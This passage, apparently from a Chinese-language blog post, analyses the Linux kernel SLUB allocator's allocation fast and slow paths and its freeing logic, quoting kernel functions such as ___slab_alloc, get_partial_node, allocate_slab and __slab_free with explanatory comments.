index = size_index[size_index_elem(size)];
// size_index_elem 实际上是使用size/8
} else {
if (WARN_ON_ONCE(size > KMALLOC_MAX_CACHE_SIZE))
return NULL;
index = fls(size - 1);
}
return kmalloc_caches[kmalloc_type(flags, caller)][index];
}

小于192使用size_index数组,大于192,使用2的幂次,与我们之前对于kmem_cache的分配对应了起来。

最终实际上是调用的__kmem_cache_alloc_node分配:

1
2
3
4
5
6
7
void *__kmem_cache_alloc_node(struct kmem_cache *s, gfp_t gfpflags,
int node, size_t orig_size,
unsigned long caller)
{
return slab_alloc_node(s, NULL, gfpflags, node,
caller, orig_size);
}

此函数是slab_alloc_node的wrapper,我们将在后面进行分析。

slab_alloc_node | 真正的分配 *

Pasted-image-20251010052218.png
我们透视slab的分配流程如上图,首先,__slab_alloc_node 有两个路径,一个是无锁直接获取 c->freelist的fastpath,如果获取失败,则走__slab_alloc进入slowpath。最终实际进行分配的函数___slab_alloc分为8个阶段,代码写的很复杂,goto到处飞,我们可以简单将其看作一个状态机,在八个状态直接来回跳转,实际上的结束状态是load_freelist,其会读取当前局部变量freelist然后返回list中的首个slab。我们在这里先贴出来完整的___slab_alloc,对其进行一个大体上的感受,然后分析几条分配路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
static void *___slab_alloc(struct kmem_cache *s, gfp_t gfpflags, int node,
unsigned long addr, struct kmem_cache_cpu *c, unsigned int orig_size)
{
void *freelist;
struct slab *slab;
unsigned long flags;
struct partial_context pc;

stat(s, ALLOC_SLOWPATH);

reread_slab:

slab = READ_ONCE(c->slab);
if (!slab) {
// 如果没有slab
if (unlikely(node != NUMA_NO_NODE &&
!node_isset(node, slab_nodes)))
node = NUMA_NO_NODE;
// 如果没有node
goto new_slab;
// 使用new_slab获取slab
}
redo:

if (unlikely(!node_match(slab, node))) {
// 如果node不匹配
if (!node_isset(node, slab_nodes)) {
// node不存在,可能是热插拔下线了
node = NUMA_NO_NODE;
} else {
// 否则deactivate此slab
stat(s, ALLOC_NODE_MISMATCH);
goto deactivate_slab;
}
}
if (unlikely(!pfmemalloc_match(slab, gfpflags)))
// 优先级不匹配,对于紧急内存,只有高优先级且有对应flag的分配可以使用
goto deactivate_slab;

local_lock_irqsave(&s->cpu_slab->lock, flags);
if (unlikely(slab != c->slab)) {
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
// 防止抢占
goto reread_slab;
}
freelist = c->freelist;
if (freelist)
goto load_freelist;
// 从slab中拿freelist
freelist = get_freelist(s, slab);

if (!freelist) {
c->slab = NULL;
c->tid = next_tid(c->tid);
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
stat(s, DEACTIVATE_BYPASS);
// 没有,直接将slab脱离管理,并且使用new_slab拿新的slab
goto new_slab;
}

stat(s, ALLOC_REFILL);

load_freelist:

lockdep_assert_held(this_cpu_ptr(&s->cpu_slab->lock));

VM_BUG_ON(!c->slab->frozen);
c->freelist = get_freepointer(s, freelist);
// 设置freelist为next,如果设置了freelist encode,需要decode
c->tid = next_tid(c->tid);
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
return freelist;
// 直接return 拿到的obj

deactivate_slab:

local_lock_irqsave(&s->cpu_slab->lock, flags);
if (slab != c->slab) {
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
goto reread_slab;
}
freelist = c->freelist;
c->slab = NULL;
c->freelist = NULL;
c->tid = next_tid(c->tid);
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
deactivate_slab(s, slab, freelist);
// 将slab放入nodelist,因为在alloc过程中,其实不常出现,这里不做详细分析

new_slab:
// 直接从c->partial获取slab
if (slub_percpu_partial(c)) {
local_lock_irqsave(&s->cpu_slab->lock, flags);
if (unlikely(c->slab)) {
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
goto reread_slab;
}
if (unlikely(!slub_percpu_partial(c))) {
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
/* we were preempted and partial list got empty */
goto new_objects;
}

slab = c->slab = slub_percpu_partial(c);
slub_set_percpu_partial(c, slab);
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
stat(s, CPU_PARTIAL_ALLOC);
goto redo;
}

new_objects:
// partial为空到此
pc.flags = gfpflags;
pc.slab = &slab;
pc.orig_size = orig_size;
freelist = get_partial(s, node, &pc);
// 从node中获取
if (freelist)
goto check_new_slab;

slub_put_cpu_ptr(s->cpu_slab);
slab = new_slab(s, gfpflags, node);
// 从buddysystem获取
c = slub_get_cpu_ptr(s->cpu_slab);

if (unlikely(!slab)) {
slab_out_of_memory(s, gfpflags, node);
return NULL;
}

stat(s, ALLOC_SLAB);
// 以下是debug分配的逻辑,这里不做关心
if (kmem_cache_debug(s)) {
freelist = alloc_single_from_new_slab(s, slab, orig_size);
if (unlikely(!freelist))
goto new_objects;

if (s->flags & SLAB_STORE_USER)
set_track(s, freelist, TRACK_ALLOC, addr);

return freelist;
}

/*
* No other reference to the slab yet so we can
* muck around with it freely without cmpxchg
*/
freelist = slab->freelist;
slab->freelist = NULL;
slab->inuse = slab->objects;
slab->frozen = 1;

inc_slabs_node(s, slab_nid(slab), slab->objects);

check_new_slab:
// 以下是一些检查逻辑,这里不做关心
if (kmem_cache_debug(s)) {
if (s->flags & SLAB_STORE_USER)
set_track(s, freelist, TRACK_ALLOC, addr);

return freelist;
}

if (unlikely(!pfmemalloc_match(slab, gfpflags))) {

deactivate_slab(s, slab, get_freepointer(s, freelist));
return freelist;
}

retry_load_slab:

local_lock_irqsave(&s->cpu_slab->lock, flags);
if (unlikely(c->slab)) {
void *flush_freelist = c->freelist;
struct slab *flush_slab = c->slab;

c->slab = NULL;
c->freelist = NULL;
c->tid = next_tid(c->tid);

local_unlock_irqrestore(&s->cpu_slab->lock, flags);

deactivate_slab(s, flush_slab, flush_freelist);

stat(s, CPUSLAB_FLUSH);

goto retry_load_slab;
}
// 这里设置了slab
c->slab = slab;

goto load_freelist;
}

接下来我们根据分配路径来分析:

fastpath | 从cpu freelist快速分配

Pasted-image-20251011124338.png
c->freelist存在页面时,此时,slab成员必定存在,因为freelist指向的object就是slab成员管理的free object。此时,直接进行无锁分配,从c->freelist中取出一个object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static __always_inline void *__slab_alloc_node(struct kmem_cache *s,
gfp_t gfpflags, int node, unsigned long addr, size_t orig_size)
{
struct kmem_cache_cpu *c;
struct slab *slab;
unsigned long tid;
void *object;

redo:
c = raw_cpu_ptr(s->cpu_slab);
tid = READ_ONCE(c->tid);

barrier();
object = c->freelist;
slab = c->slab;

if (!USE_LOCKLESS_FAST_PATH() ||
unlikely(!object || !slab || !node_match(slab, node))) {
object = __slab_alloc(s, gfpflags, node, addr, c, orig_size);
} else {
void *next_object = get_freepointer_safe(s, object);
// 获取下一个object,get_freepointer涉及到指针解密
if (unlikely(!__update_cpu_freelist_fast(s, object, next_object, tid))) {
note_cmpxchg_failure("slab_alloc", s, tid);
goto redo;
// 一个原子化的freelist update,通过freelist_aba_t同时访问freelist和tid
// 然后原子化的同时更新两者
}
// 预测下一个object页马上会被取出来,因此,prefetch
prefetch_freepointer(s, next_object);
stat(s, ALLOC_FASTPATH);
}

return object;
}
slowpath1 | 从cpu cacha slab获取object

Pasted-image-20251011124355.png

c->freelist为空,但是c->slab不为空,会获取slab的freelist,来进行分配

我们观察___slab_alloc的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
reread_slab:

slab = READ_ONCE(c->slab);
if (!slab) {
// 没有slab
if (unlikely(node != NUMA_NO_NODE &&
!node_isset(node, slab_nodes)))
node = NUMA_NO_NODE;
goto new_slab;
}
redo:

if (unlikely(!node_match(slab, node))) {
// node 不匹配
if (!node_isset(node, slab_nodes)) {
node = NUMA_NO_NODE;
} else {
stat(s, ALLOC_NODE_MISMATCH);
goto deactivate_slab;
}
}

// 关于紧急内存分配匹配的逻辑
if (unlikely(!pfmemalloc_match(slab, gfpflags)))
goto deactivate_slab;

/* must check again c->slab in case we got preempted and it changed */
local_lock_irqsave(&s->cpu_slab->lock, flags);
if (unlikely(slab != c->slab)) {
// 抢占可能导致的不匹配
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
goto reread_slab;
}
// 读取freelist
freelist = c->freelist;
if (freelist)
goto load_freelist;

上述分支都不会执行,然后来到redo环节的:

1
2
3
4
5
6
7
8
9
freelist = get_freelist(s, slab);

if (!freelist) {
c->slab = NULL;
c->tid = next_tid(c->tid);
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
stat(s, DEACTIVATE_BYPASS);
goto new_slab;
}

它会调用get_freelist从slab中获取freelist:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static inline void *get_freelist(struct kmem_cache *s, struct slab *slab)
{
struct slab new;
unsigned long counters;
void *freelist;

lockdep_assert_held(this_cpu_ptr(&s->cpu_slab->lock));

do {// 这里的slab是传入的c->slab
freelist = slab->freelist;
counters = slab->counters;
//复制旧的freelist和counters
new.counters = counters;
VM_BUG_ON(!new.frozen);

new.inuse = slab->objects;
// 放入c->slab好像默认会设置inuse为objects,伪装已满,在后面也有这个逻辑,笔者暂时还不知道为啥
new.frozen = freelist != NULL;
// 如果freelist为空(slab已full)则释放,则frozen为0

// 正常就会break
// 更新slab freelist为null,counter为新counter
} while (!__slab_update_freelist(s, slab,
freelist, counters,
NULL, new.counters,
"get_freelist"));

return freelist;
}

__slab_update_freelist是一个原子的交换,此循环默认会break,实际上原子更新了slab的freelist和counters。

此函数分为两种情况,slab已经分配满,freelist为NULL,此时设置frozen为0并返回NULL,否则,直接将freelist指向的object脱链,然后设置slab的freelist为NULL,frozen为1,因为此freelist要交给c->freelist管理。

这里有一个要注意的点,对于当前分配的slab,好像会默认设置inuse为objects伪装已满,在后面的分配路径也有这个逻辑,笔者暂时还不知道为啥

我们先考虑后面的情况,从slab中拿到了freelist:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
	freelist = c->freelist;
if (freelist)
goto load_freelist;

freelist = get_freelist(s, slab);
// freelist有效
if (!freelist) {
c->slab = NULL;
c->tid = next_tid(c->tid);
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
stat(s, DEACTIVATE_BYPASS);
goto new_slab;
}

stat(s, ALLOC_REFILL);

load_freelist:
// 进入load_freelsit
lockdep_assert_held(this_cpu_ptr(&s->cpu_slab->lock));
VM_BUG_ON(!c->slab->frozen);
c->freelist = get_freepointer(s, freelist);
// 设置c->freelist为freelist->next
// get_freepointer涉及到指针解密
c->tid = next_tid(c->tid);
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
return freelist;
// 返回freelist指向的obj

然后会直接进入 load_freelist,设置c->freelist为局部变量freelist的下一个obj,并返回其指向的obj。

如果没有空闲对象,跳转到slowpath2

slowpath2 | 从cpu cache中获取slab

Pasted-image-20251011124923.png
Pasted-image-20251011124935.png

c->slab没有空闲object时,由上关于get_freelist的分析,我们知道,其frozen会被设置为0,然后会进入如下分支,直接将c->slab设置为NULL,从管理中脱离。(类似于用户态的ptmalloc堆管理器,实际上管理的是free状态下的内存,已经分配的内存不需要被管理,只需要在其free时间再将其纳入管理系统即可)

1
2
3
4
5
6
7
if (!freelist) {
c->slab = NULL;
c->tid = next_tid(c->tid);
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
stat(s, DEACTIVATE_BYPASS);
goto new_slab;
}

然后会走new_slab获取新的slab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (slub_percpu_partial(c)) {
local_lock_irqsave(&s->cpu_slab->lock, flags);
if (unlikely(c->slab)) {
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
goto reread_slab;
}
if (unlikely(!slub_percpu_partial(c))) {
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
/* we were preempted and partial list got empty */
goto new_objects;
}

slab = c->slab = slub_percpu_partial(c);
slub_set_percpu_partial(c, slab);
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
stat(s, CPU_PARTIAL_ALLOC);
goto redo;
}

其逻辑其实很简单,就是直接从c->partial中拿一个slab,放入c->slab管理,如果拿到了,会直接从redo重新开始,此时,kmem_cache_cpu的状态,就是slowpath1对应的状态,之后就按slowpath1重新分配,如果没有获取到slab,那么进入slowpath3的分配路线。

slowpath3 | 从node缓存中获取slab

Pasted-image-20251011142541.png
Pasted-image-20251011142632.png

我们接着slowpath2,如果c->partial为空,那么会跳转到new_objects

1
2
3
4
5
6
7
new_objects:
pc.flags = gfpflags;
pc.slab = &slab;
pc.orig_size = orig_size;
freelist = get_partial(s, node, &pc);
if (freelist)
goto check_new_slab;

其会通过get_partial从node中获取slab。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void *get_partial(struct kmem_cache *s, int node, struct partial_context *pc)
{
void *object;
int searchnode = node;

if (node == NUMA_NO_NODE)
searchnode = numa_mem_id();

object = get_partial_node(s, get_node(s, searchnode), pc);
if (object || node != NUMA_NO_NODE)
return object;

return get_any_partial(s, pc);
}

我们这里注意,其有两个分配路径get_partial_nodeget_any_partial,一个从设置的node中找,一个跨node查找。我们需要注意的是,如果node不为NUMA_NO_NODE,会在get_partial_node后直接返回,不再在其他node中查找,因为,根据我们之前对于___alloc_node函数整体的分析,如果node设置不为NUMA_NO_NODE,即使从其他node中找到了slab,但是slab node如果不匹配,还是会被deactivate,不会从此slab进行分配,相当于做了无用功,并且会让内存分配在此不断循环。

get_any_partial就是对于每个node调用get_partial_node,这里不再单独分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
static void *get_partial_node(struct kmem_cache *s, struct kmem_cache_node *n,
struct partial_context *pc)
{
struct slab *slab, *slab2;
void *object = NULL;
unsigned long flags;
unsigned int partial_slabs = 0;

if (!n || !n->nr_partial)
return NULL;
// 一个无锁检查
spin_lock_irqsave(&n->list_lock, flags);
list_for_each_entry_safe(slab, slab2, &n->partial, slab_list) {
// 遍历n->patial,slab是每次迭代的slab
void *t;

if (!pfmemalloc_match(slab, pc->flags))
// 紧急内存分配相关逻辑
continue;

if (IS_ENABLED(CONFIG_SLUB_TINY) || kmem_cache_debug(s)) {
// debug或者设置了slub tiny才走这条路径,只单独分配object
object = alloc_single_from_partial(s, n, slab,
pc->orig_size);
if (object)
break;
continue;
}
// 获取slab到cpu的缓存
t = acquire_slab(s, n, slab, object == NULL);
if (!t)
break;
// 没获取到
if (!object) {
// 第一次,object还为Null时。设置object
*pc->slab = slab;
// 我们注意到这里,其实是直接设置了最上层___slab_alloc中的局部变量slab
stat(s, ALLOC_FROM_PARTIAL);
object = t;
} else {
// 否则,简单put进入cpu的partial缓存
put_cpu_partial(s, slab, 0);
stat(s, CPU_PARTIAL_NODE);
partial_slabs++;
}
#ifdef CONFIG_SLUB_CPU_PARTIAL
if (!kmem_cache_has_cpu_partial(s)
|| partial_slabs > s->cpu_partial_slabs / 2)
// 如果partial_slabs大于cpu_partial_slabs的一半,停止从node里面拿
break;
#else
break;
#endif

}
spin_unlock_irqrestore(&n->list_lock, flags);
return object;
}

get_partial_node会从node的partial链表中,对每一个slab使用acquire_slab将其从node链表中脱链,然后使用put_cpu_partial将其加入cpu cache的partial链表中(除了第一个,因为这个之后会挂在c->slab上),直到partial_slabs的数量大于s->cpu_partial_slabs的一半。这个成员是固定的,代表partial最大的slab页数量,其初始化逻辑我们在上文结构体的成员分析中讨论过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static inline void *acquire_slab(struct kmem_cache *s,
struct kmem_cache_node *n, struct slab *slab,
int mode)
{
void *freelist;
unsigned long counters;
struct slab new;

lockdep_assert_held(&n->list_lock);

freelist = slab->freelist;
counters = slab->counters;
new.counters = counters;
if (mode) {
// mode = 1,循环时第一次进入此函数
new.inuse = slab->objects;
new.freelist = NULL;
// 因为此slab,最终会进入c->slab,因此freelist设置为null
} else {
new.freelist = freelist;
}

VM_BUG_ON(new.frozen);
new.frozen = 1;
// 要被cpu占用,frozen设置为1
if (!__slab_update_freelist(s, slab,
freelist, counters,
new.freelist, new.counters,
"acquire_slab"))
// 原子化更新freelist和counters
return NULL;

remove_partial(n, slab);
// 从n->partial中移除此slab
WARN_ON(!freelist);
return freelist;
}

acqurie_slab就是设置要占有的slab的各个标志,并且将其从node cache的partial链表中脱链。

与之相对的put_cpu_partial,之后我们再在object释放过程中详细分析,因为上面谈到的循环中对于放入cpu cache的slab数量的限制,这里不会触发put_cpu_partial中,当cpu cache的partial上的slab数量,超过cpu_partial_slab的限制后需要向node和buddy system返还内存的限制,因此,这里,此函数只会完成一个简单的头插法加入单链表。

最后,我们再回到最上层的___slab_alloc,此时,freelist设置为node拿出的第一个slab的freelist,并且此 slab的freelist被清空

1
2
3
freelist = get_partial(s, node, &pc);
if (freelist)
goto check_new_slab;

我们忽略check_new_slabretry_load_slab两个标签的逻辑,因为他们都只是做了一些检查的工作,最终继续往下走,发现会设置c->slab=slab,而局部变量slab的地址,作为pc的一部分被传入get_partial,并且slab在get_partial_node中被更改。

1
2
c->slab = slab;
goto load_freelist;

最终,此函数回到load_freelist,从freelist获取object并返回。

slowpath4 | 向buddy system请求页面

Pasted-image-20251011161909.png

从slowpath3继续,如果get_partial 返回null,说明node的partial也是空的,那么我们只能向buddy system请求页面了。

1
2
3
4
5
6
7
8
freelist = get_partial(s, node, &pc);
if (freelist)
goto check_new_slab;

slub_put_cpu_ptr(s->cpu_slab);
slab = new_slab(s, gfpflags, node);
c = slub_get_cpu_ptr(s->cpu_slab);

调用new_slabbuddy_system请求页面:

这是一个warpper,继续调用allocate_slab

1
2
3
4
5
6
7
8
9
10
11
static struct slab *new_slab(struct kmem_cache *s, gfp_t flags, int node)
{
if (unlikely(flags & GFP_SLAB_BUG_MASK))
flags = kmalloc_fix_flags(flags);

WARN_ON_ONCE(s->ctor && (flags & __GFP_ZERO));

return allocate_slab(s,
flags & (GFP_RECLAIM_MASK | GFP_CONSTRAINT_MASK), node);
}

接下来我们分析allocate_slab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
static struct slab *allocate_slab(struct kmem_cache *s, gfp_t flags, int node)
{
struct slab *slab;
struct kmem_cache_order_objects oo = s->oo;
gfp_t alloc_gfp;
void *start, *p, *next;
int idx;
bool shuffle;

flags &= gfp_allowed_mask;

flags |= s->allocflags;

/*
* Let the initial higher-order allocation fail under memory pressure
* so we fall-back to the minimum order allocation.
*/
alloc_gfp = (flags | __GFP_NOWARN | __GFP_NORETRY) & ~__GFP_NOFAIL;
if ((alloc_gfp & __GFP_DIRECT_RECLAIM) && oo_order(oo) > oo_order(s->min))
alloc_gfp = (alloc_gfp | __GFP_NOMEMALLOC) & ~__GFP_RECLAIM;

slab = alloc_slab_page(alloc_gfp, node, oo);
// 从buddy system中分配一个slab页
if (unlikely(!slab)) {
oo = s->min;
alloc_gfp = flags;
/*
* Allocation may have failed due to fragmentation.
* Try a lower order alloc if possible
*/
slab = alloc_slab_page(alloc_gfp, node, oo);
if (unlikely(!slab))
return NULL;
stat(s, ORDER_FALLBACK);
}
// 设置slab的成员
slab->objects = oo_objects(oo);
slab->inuse = 0;
slab->frozen = 0;

account_slab(slab, oo_order(oo), s, flags);
slab->slab_cache = s;
kasan_poison_slab(slab);
start = slab_address(slab);
setup_slab_debug(s, slab, start);
// 尝试shuffle设置freelist
shuffle = shuffle_freelist(s, slab);
// 如果不需要shuffle,会返回false

if (!shuffle) {
// 没有shuffle,那就直接顺序设置object的freelist
start = fixup_red_left(s, start);
// 如果设置了debug,前面可能需要加上一个redzone的偏移
start = setup_object(s, start);
// start设置一个object
slab->freelist = start;
// 设置freelist为start
for (idx = 0, p = start; idx < slab->objects - 1; idx++) {
// 然后循环设置其他object的pointer
next = p + s->size;
next = setup_object(s, next);
set_freepointer(s, p, next);
// 如果设置了freepointer hard
p = next;
}
set_freepointer(s, p, NULL);
}

return slab;
}

此函数首先使用alloc_slab_page为我们分配一个slab页,然后对其进行初始化设置,这里我们着重关注两点:

  1. shuffle的设置,是否shuffle取决于kmem_cache初始化的时候是否初始化了random_seq,在前面kmem_cache_open中有过分析,注意,此设置只是在初始化时进行打算,后续运行时还是FIFO的处理freelist
  2. set_freepointers的设置,这里实际上是进行指针加密。如果设置了CONFIG_SLAB_FREELIST_HARDENED,会对next指针进行如下加密,encoded = (unsigned long)ptr ^ s->random ^ swab(ptr_addr),这里的swab是交换字节序(大小端)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static inline struct slab *alloc_slab_page(gfp_t flags, int node,
struct kmem_cache_order_objects oo)
{
struct folio *folio;
struct slab *slab;
unsigned int order = oo_order(oo);

if (node == NUMA_NO_NODE)
folio = (struct folio *)alloc_pages(flags, order);
else
folio = (struct folio *)__alloc_pages_node(node, flags, order);

if (!folio)
return NULL;

slab = folio_slab(folio);
__folio_set_slab(folio);
/* Make the flag visible before any changes to folio->mapping */
smp_wmb();
if (folio_is_pfmemalloc(folio))
slab_set_pfmemalloc(slab);

return slab;
}

然后我们留意一下alloc_slab_page,其最终会调用alloc_page向buddy system请求页面,buddy system的分配,我们之前已经讨论过了,这里关注一下请求的参数,即order,是从s->oo中获取的。

其次注意一下folio,这是 linux5.16引入的一个特性,他实际上是page的一个包装,对于page,有一个问题就是,它可能是单个的page,也可能是一个compound page中的一部分。而folio用来表征一个独立的page或者一个compound page,folio相当于_compound_head的抽象,将一个page转换为folio,总是找到其_compound_head,从而不用再区分这个页是什么类型。

1
2
3
4
5
6
#define page_folio(p)           (_Generic((p),                          \
const struct page *: (const struct folio *)_compound_head(p), \
struct page *: (struct folio *)_compound_head(p)))

#define nth_page(page,n) ((page) + (n))
#define folio_page(folio, n) nth_page(&(folio)->page, n)

由于page和folio的结构差不多,并且folio实际上就是复用page,因此可以直接把page结构体强制转换为folio(表征一个复合页)。

当buddy system返回了我们需要的slab页面,我们重新回到最上层`___slab_alloc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
slab = new_slab(s, gfpflags, node);
c = slub_get_cpu_ptr(s->cpu_slab);

if (unlikely(!slab)) {
slab_out_of_memory(s, gfpflags, node);
return NULL;
}

stat(s, ALLOC_SLAB);

if (kmem_cache_debug(s)) {
freelist = alloc_single_from_new_slab(s, slab, orig_size);

if (unlikely(!freelist))
goto new_objects;

if (s->flags & SLAB_STORE_USER)
set_track(s, freelist, TRACK_ALLOC, addr);

return freelist;
}

/*
* No other reference to the slab yet so we can
* muck around with it freely without cmpxchg
*/
freelist = slab->freelist;
slab->freelist = NULL;
slab->inuse = slab->objects;
slab->frozen = 1;

inc_slabs_node(s, slab_nid(slab), slab->objects);

此时程序继续往下走,设置freelist为返回的slab的freelist,然后清空其freelist为了之后转交给c->freelist。然后设置inuse为objects,以及frozen为1。

再然后会继续 经过 check_new_slabretry_load_slab,直到最后:

1
2
3
c->slab = slab;

goto load_freelist;

object的释放*

释放的核心是kfree族函数:
Pasted-image-20251011163054.png

Pasted-image-20251011174737.png

kfree核心就是通过object找到folio(因为复用page和slab,实际上就同时找到了page和slab),然后调用 __kmem_cache_free进行释放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void kfree(const void *object)
{
struct folio *folio;
struct slab *slab;
struct kmem_cache *s;

trace_kfree(_RET_IP_, object);

if (unlikely(ZERO_OR_NULL_PTR(object)))
return;

folio = virt_to_folio(object);
if (unlikely(!folio_test_slab(folio))) {
free_large_kmalloc(folio, (void *)object);
return;
}

slab = folio_slab(folio);
s = slab->slab_cache;
__kmem_cache_free(s, (void *)object, _RET_IP_);
}
EXPORT_SYMBOL(kfree);

do_slab_free中对于快路径和慢路径进行分发:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
static __always_inline void do_slab_free(struct kmem_cache *s,
struct slab *slab, void *head, void *tail,
int cnt, unsigned long addr)
{
void *tail_obj = tail ? : head;
struct kmem_cache_cpu *c;
unsigned long tid;
void **freelist;

redo:
c = raw_cpu_ptr(s->cpu_slab);
tid = READ_ONCE(c->tid);

/* Same with comment on barrier() in slab_alloc_node() */
barrier();

if (unlikely(slab != c->slab)) {
__slab_free(s, slab, head, tail_obj, cnt, addr);
return;
}

if (USE_LOCKLESS_FAST_PATH()) {
freelist = READ_ONCE(c->freelist);

set_freepointer(s, tail_obj, freelist);

if (unlikely(!__update_cpu_freelist_fast(s, freelist, head, tid))) {
note_cmpxchg_failure("slab_free", s, tid);
goto redo;
}
} else {
/* Update the free list under the local lock */
local_lock(&s->cpu_slab->lock);
c = this_cpu_ptr(s->cpu_slab);
if (unlikely(slab != c->slab)) {
local_unlock(&s->cpu_slab->lock);
goto redo;
}
tid = c->tid;
freelist = c->freelist;

set_freepointer(s, tail_obj, freelist);
c->freelist = head;
c->tid = next_tid(tid);

local_unlock(&s->cpu_slab->lock);
}
stat(s, FREE_FASTPATH);
}

最终的核心释放函数是__slab_free,我们在之后的分析中,将不考虑kmem_cache_has_cpu_partial为false,即cpu partial不存在的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
static void __slab_free(struct kmem_cache *s, struct slab *slab,
void *head, void *tail, int cnt,
unsigned long addr)

{
void *prior;
int was_frozen;
struct slab new;
unsigned long counters;
struct kmem_cache_node *n = NULL;
unsigned long flags;

stat(s, FREE_SLOWPATH);

if (kfence_free(head))
return;

if (IS_ENABLED(CONFIG_SLUB_TINY) || kmem_cache_debug(s)) {
free_to_partial_list(s, slab, head, tail, cnt, addr);
return;
}

do {
if (unlikely(n)) {
spin_unlock_irqrestore(&n->list_lock, flags);
n = NULL;
}
prior = slab->freelist;
// 原来的freelist
counters = slab->counters;
set_freepointer(s, tail, prior);
new.counters = counters;
was_frozen = new.frozen;
new.inuse -= cnt;
if ((!new.inuse || !prior) && !was_frozen) {
// 如果slab变空了或者为满
// 并且没被frozen
if (kmem_cache_has_cpu_partial(s) && !prior) {
// slab之前是满的,说明是之前remove了,需要重新frozen,对应分配的slowpath2
new.frozen = 1;

} else { /* Needs to be taken off a list */

n = get_node(s, slab_nid(slab));
// 否则是是node partial中的slab
spin_lock_irqsave(&n->list_lock, flags);

}
}

} while (!slab_update_freelist(s, slab,
prior, counters,
head, new.counters,
"__slab_free"));
// 更新freelist

if (likely(!n)) {
// 没有获取n
if (likely(was_frozen)) {

stat(s, FREE_FROZEN);
} else if (new.frozen) {
// 之前没有被frozen,新被frozen了
// 对应slowpath2中那种满了remove的slab
// 需要将其加入cpu partial
put_cpu_partial(s, slab, 1);
stat(s, CPU_PARTIAL_FREE);
}
// 最大概率在这里直接返回
return;
}

// 到这里说明获取了n,说明不是之前为满就是释放后为空,并且没有被cpu占用
// 并且kernel不能设置了cpu_partial config并且满,否则会直接走上面put_cpu_partial
if (unlikely(!new.inuse && n->nr_partial >= s->min_partial))
// 说明空了
goto slab_empty;

// 说明之前满的,并且没空
if (!kmem_cache_has_cpu_partial(s) && unlikely(!prior)) {
// 加入node的partial链表
remove_full(s, n, slab);
add_partial(n, slab, DEACTIVATE_TO_TAIL);
stat(s, FREE_ADD_PARTIAL);
}
spin_unlock_irqrestore(&n->list_lock, flags);
return;

slab_empty:
if (prior) {
// 之前不满
remove_partial(n, slab);
// 脱链,并减nr_partial
stat(s, FREE_REMOVE_PARTIAL);
} else {
// 之前满
// 主要是对于一次性释放多个的情形
remove_full(s, n, slab);
// 从full脱链
}

spin_unlock_irqrestore(&n->list_lock, flags);
stat(s, FREE_SLAB);
// 把slab返还给buddy system
discard_slab(s, slab);
}

整体下来,和分配的逻辑正好相反。

fastpath | 释放进cpu->slab

Pasted-image-20251011175309.png

和分配逻辑对应,释放的快路径在do_slab_free中,由有锁和无锁两个版本,但是都是对于c->slab中的obj,当此obj被释放时,直接头插入freelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
